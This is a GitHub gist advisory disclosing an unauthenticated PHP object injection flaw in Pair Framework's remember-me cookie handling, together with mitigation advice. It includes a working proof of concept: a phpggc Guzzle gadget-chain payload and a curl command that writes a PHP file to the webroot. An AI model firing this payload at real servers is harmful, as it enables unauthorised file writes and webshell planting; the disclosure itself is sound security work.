Skip to content

Instantly share code, notes, and snippets.

@mcdruid
Last active March 6, 2025 17:52
Show Gist options
  • Select an option

  • Save mcdruid/1997e10026833d2d1f3e359d75b5912a to your computer and use it in GitHub Desktop.

Select an option

Save mcdruid/1997e10026833d2d1f3e359d75b5912a to your computer and use it in GitHub Desktop.
Pair Framework PHP Object Injection

Summary

Pair Framework has a PHP Object Injection vulnerability as a result of Deserialization of Untrusted Data.

(POP/) Gadget Chains exist in Pair Framework (and its libraries) which allow Object Injection vulnerabilities to be exploited, for example to write arbitrary files. Other attacks may be possible depending on what additional code is used in a given project.

Exploitation of the vulnerability does not require authentication and can be achieved by a single GET request.

Timeline

  • 2025-03-05: attempt to contact maintainers via contact form
  • 2025-03-06: discussion with the maintainer - will be fixed ASAP

Details of the Project

Vulnerability Classification

  • CWE-502: Deserialization of Untrusted Data
  • CAPEC-586: Object Injection
  • CVSS (v3): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L 9.9 Critical
  • CVE: assignment pending

Vulnerable Code

Pair Framework passes unsafe input from a HTTP request - specifcially the value of a cookie - to PHP's unserialize().

https://github.com/viames/pair/blob/1.9.11/src/UserRemember.php#L71

	/**
	 * Utility to unserialize and return the remember-me cookie content {timezone, rememberMe}.
	 *
	 * @return	\stdClass|NULL
	 */
	public static function getCookieContent(): ?\stdClass {

		// build the cookie name
		$cookieName = static::getCookieName();

		// check if cookie exists
		if (!isset($_COOKIE[$cookieName])) {
			return NULL;
		}

		// try to unserialize the cookie content
		$content = unserialize($_COOKIE[$cookieName]);

The name of the cookie depends on the PRODUCT_NAME constant which is part of the config of each specific application.

A more recent commit has refactored this code, but unsafe input from a cookie is still passed to unserialize() in a very similar way in the Application::getPersistentState method.

Steps to Reproduce

In order to exploit the vulnerability, an attacker must derive the $cookieName which is based on the app's PRODUCT_NAME in config.

By default the value of PRODUCT_NAME is output in multiple places by the app, for example:

modules/user/layouts/login.php:5:               <div><h1 class="logo-name"><?php print PRODUCT_NAME ?></h1></div>

Deriving the cookie name may be as simple as:

$ curl -si http://pair.ddev.site/user/login | grep logo-name
                <div><h1 class="logo-name">PairApp</h1></div>

Pair Framework includes the Guzzle library which has a viable File Write Gadget Chain that can be used in a Proof of Concept.

https://github.com/ambionics/phpggc/tree/master/gadgetchains/Guzzle/

Example payload to write a phpinfo script to the webroot:

$ ./phpggc -f --public-properties Guzzle/FW1 pi.php pi.txt
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:18:"<?php phpinfo();?>";}}}s:10:"strictMode";N;s:8:"filename";s:6:"pi.php";s:19:"storeSessionCookies";b:1;}i:7;i:7;}

This payload can be sent - urlencoded - in a request to Pair Framework as the value of the "remember me" cookie:

$ curl -b 'PairAppRememberMe=a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A7%3A%22cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A4%3A%22data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A18%3A%22%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%22%3B%7D%7D%7Ds%3A10%3A%22strictMode%22%3BN%3Bs%3A8%3A%22filename%22%3Bs%3A6%3A%22pi.php%22%3Bs%3A19%3A%22storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D' http://pair.ddev.site

There should now be a pi.php script in the public webroot, accessible via HTTP request:

$ curl -s http://pair.ddev.site/pi.php | grep HTTP_HOST | head -n1
<tr><td class="e">$_SERVER['HTTP_HOST']</td><td class="v">pair.ddev.site</td></tr>

This attack could be used to upload a webshell, for example.

Other Gadget Chains may be available in applications written using Pair Framework which would allow other attacks such as direct Remote Code Execution.

Mitigation

The calls to unserialize could be made safer with the allowed_classes option to disable Object Injection:

https://www.php.net/manual/en/function.unserialize.php

...assuming it's not necessary for objects to be deserialized.

If possible, a better mitigation would be to replace the use of serialization with json_encode and json_decode.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment